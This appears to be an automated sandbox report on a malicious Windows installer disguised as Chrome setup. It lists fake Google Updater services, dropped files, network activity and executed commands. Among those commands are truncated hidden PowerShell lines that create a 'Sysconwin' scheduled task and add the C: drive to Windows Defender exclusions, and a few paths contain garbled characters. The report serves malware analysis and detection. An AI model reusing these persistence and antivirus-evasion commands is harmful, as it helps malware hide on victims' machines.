Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\googlesystem\googleupdater\googleupdatertasksystem142.0.7416.0{dba0768c-e21d-40eb-8e39-201fe291f15e}
- <SYSTEM32>\tasks\sysconwin
Sets the following service settings
- [HKLM\SYSTEM\CurrentControlSet\Services\GoogleUpdaterInternalService142.0.7416.0] 'Start' = '00000002'
- [HKLM\SYSTEM\CurrentControlSet\Services\GoogleUpdaterInternalService142.0.7416.0] 'ImagePath' = '"%ProgramFiles(x86)%\Google\GoogleUpdater\142.0.7416.0\updater.exe" --system --windows-service -...
- [HKLM\SYSTEM\CurrentControlSet\Services\GoogleUpdaterService142.0.7416.0] 'Start' = '00000002'
- [HKLM\SYSTEM\CurrentControlSet\Services\GoogleUpdaterService142.0.7416.0] 'ImagePath' = '"%ProgramFiles(x86)%\Google\GoogleUpdater\142.0.7416.0\updater.exe" --system --windows-service --service...
Creates the following services
- 'GoogleUpdaterInternalService142.0.7416.0' %ProgramFiles(x86)%\Google\GoogleUpdaterb.0.7416.0�pdater.exe" --system --windows-service --service=update-interna
- 'GoogleUpdaterService142.0.7416.0' %ProgramFiles(x86)%\Google\GoogleUpdaterb.0.7416.0�pdater.exe" --system --windows-service --service=updat
Malicious functions
Downloads and executes
- $url as $path
Modifies file system
Creates the following files
- %TEMP%\brl00000fa0\br6a8d.tmp
- %TEMP%\brl00000fa0\br6c43.tmp
- %TEMP%\brl00000fa0\br6d8c.tmp
- %TEMP%\brl00000fa0\br6dfb.tmp
- %TEMP%\brl00000fa0\br6e4a.tmp
- %TEMP%\brl00000fa0\br6f16.tmp
- %TEMP%\brl00000fa0\br6f56.tmp
- %TEMP%\brl00000fa0\br71e7.tmp
- %TEMP%\brl00000fa0\br7524.tmp
- %TEMP%\brl00000fa0\br7592.tmp
- %ProgramFiles%\chromesetup\chromesetup.exe
- %APPDATA%\gea\installer.exe
- %APPDATA%\gea\vcruntime140.dll
- %APPDATA%\gea\happyone.mp4
- %APPDATA%\gea\libcurl.dll
- %APPDATA%\小\资源之家（无限宇宙壁纸）.jpg
- %APPDATA%\gea\amindpdfcore.dll
- %APPDATA%\gea\geekerpdf.exe
- C:\users\public\desktop\google chrome.lnk
- %TEMP%\installbuilder_installer.log
- nul
- %ProgramFiles(x86)%\google\googleupdater\updater.log
- %TEMP%\google3944_1038825986\updater.packed.7z
- %TEMP%\google3944_2142830403\updater.7z
- %TEMP%\google3944_2142830403\bin\uninstall.cmd
- %TEMP%\google3944_2142830403\bin\updater.exe
- %ProgramFiles%\chromesetup\uninstbr.000
- %ProgramFiles(x86)%\google\googleupdater\142.0.7416.0\crashpad\settings.dat
- %ProgramFiles(x86)%\google\googleupdater\142.0.7416.0\uninstall.cmd
- %ProgramFiles(x86)%\google\googleupdater\142.0.7416.0\updater.exe
- %ProgramFiles(x86)%\google\googleupdater\341fb821-bcf6-48a9-8a64-c38004568aed.tmp
- %ProgramFiles(x86)%\google\update\googleupdate.exe
- %ProgramFiles(x86)%\google\googleupdater\d7bcf748-c6ee-4d4c-abf6-35bf60b51db7.tmp
- %ProgramFiles(x86)%\google\googleupdater\142.0.7416.0\c24b30ed-fe64-47d4-819f-6b803c732266.tmp
- %ProgramFiles%\chromesetup\卸载.dat.new
- %ProgramFiles(x86)%\google\googleupdater\6115e788-7ee9-476a-9808-c31d1e92dac2.tmp
- %ProgramFiles(x86)%\google\googleupdater\crx_cache\b4094585-d3bb-45c2-afd2-4940ee5e81b8.tmp
Deletes following files that it created itself
- %TEMP%\brl00000fa0\br6a8d.tmp
- %TEMP%\brl00000fa0\br6c43.tmp
- %TEMP%\brl00000fa0\br6d8c.tmp
- %TEMP%\brl00000fa0\br6dfb.tmp
- %TEMP%\brl00000fa0\br6e4a.tmp
- %TEMP%\brl00000fa0\br6f16.tmp
- %TEMP%\brl00000fa0\br6f56.tmp
- %TEMP%\brl00000fa0\br71e7.tmp
- %TEMP%\brl00000fa0\br7524.tmp
- %TEMP%\brl00000fa0\br7592.tmp
- %TEMP%\google3944_2142830403\updater.7z
- %TEMP%\google3944_2142830403\bin\uninstall.cmd
- %TEMP%\google3944_2142830403\bin\updater.exe
- %ProgramFiles%\chromesetup\tcl725.tmp
Moves the following files
- from %ProgramFiles(x86)%\google\googleupdater\341fb821-bcf6-48a9-8a64-c38004568aed.tmp to %ProgramFiles(x86)%\google\googleupdater\prefs.json
- from %ProgramFiles(x86)%\google\googleupdater\142.0.7416.0\c24b30ed-fe64-47d4-819f-6b803c732266.tmp to %ProgramFiles(x86)%\google\googleupdater\142.0.7416.0\prefs.json
- from %ProgramFiles%\chromesetup\卸载.dat.new to %ProgramFiles%\chromesetup\卸载.dat
- from %ProgramFiles%\chromesetup\uninstbr.000 to %ProgramFiles%\chromesetup\卸载.exe
- from %ProgramFiles%\chromesetup\卸载.exe to %ProgramFiles%\chromesetup\tcl725.tmp
- from %ProgramFiles(x86)%\google\googleupdater\crx_cache\b4094585-d3bb-45c2-afd2-4940ee5e81b8.tmp to %ProgramFiles(x86)%\google\googleupdater\crx_cache\metadata.json
Substitutes the following files
- %ProgramFiles%\chromesetup\卸载.exe
Network activity
Connects to
- 'up####.googleapis.com':443
- 'ed####.me.gvt1.com':80
- 'dl.google.com':443
- 'ed####.me.gvt1.com':443
TCP
HTTP GET requests
- http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?c5##############
Other
- 'up####.googleapis.com':443
- 'dl.google.com':443
UDP
- DNS ASK up####.googleapis.com
- DNS ASK ed####.me.gvt1.com
- DNS ASK dl.google.com
Miscellaneous
Creates and executes the following
- '%ProgramFiles(x86)%\google\googleupdater\142.0.7416.0\updater.exe' --system --windows-service --service=update-internal
- '%ProgramFiles(x86)%\google\googleupdater\142.0.7416.0\updater.exe' --crash-handler --system "--database=%ProgramFiles(x86)%\Google\GoogleUpdater\142.0.7416.0\Crashpad" --url=https://clients2.google.com/cr/report --annotation=prod=Update4 --annotation=ver=142.0...
- '%ProgramFiles(x86)%\google\googleupdater\142.0.7416.0\updater.exe' --system --windows-service --service=update
- '%APPDATA%\gea\installer.exe'
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /c powershell.exe -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command "$action=New-ScheduledTaskAction -Execute 'cmd.exe' -Argument '/c powershell.exe -WindowStyle Hidden -NoProfile...
- '%WINDIR%\syswow64\cmd.exe' /c schtasks /query /tn "Sysconwin" >nul 2>&1
- '%WINDIR%\syswow64\schtasks.exe' /query /tn "Sysconwin"
- '%WINDIR%\syswow64\cmd.exe' /c schtasks /run /tn "Sysconwin"
- '%WINDIR%\syswow64\schtasks.exe' /run /tn "Sysconwin"
- '<SYSTEM32>\cmd.exe' /c powershell.exe -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command "$drive='C:/'; $exclusions=@(); $current=Get-MpPreference; if($current.ExclusionPath){$exclusions+=$current.Exc...
- '%APPDATA%\gea\installer.exe' ' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c schtasks /query /tn "Sysconwin" >nul 2>&1' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c schtasks /run /tn "Sysconwin"' (with hidden window)
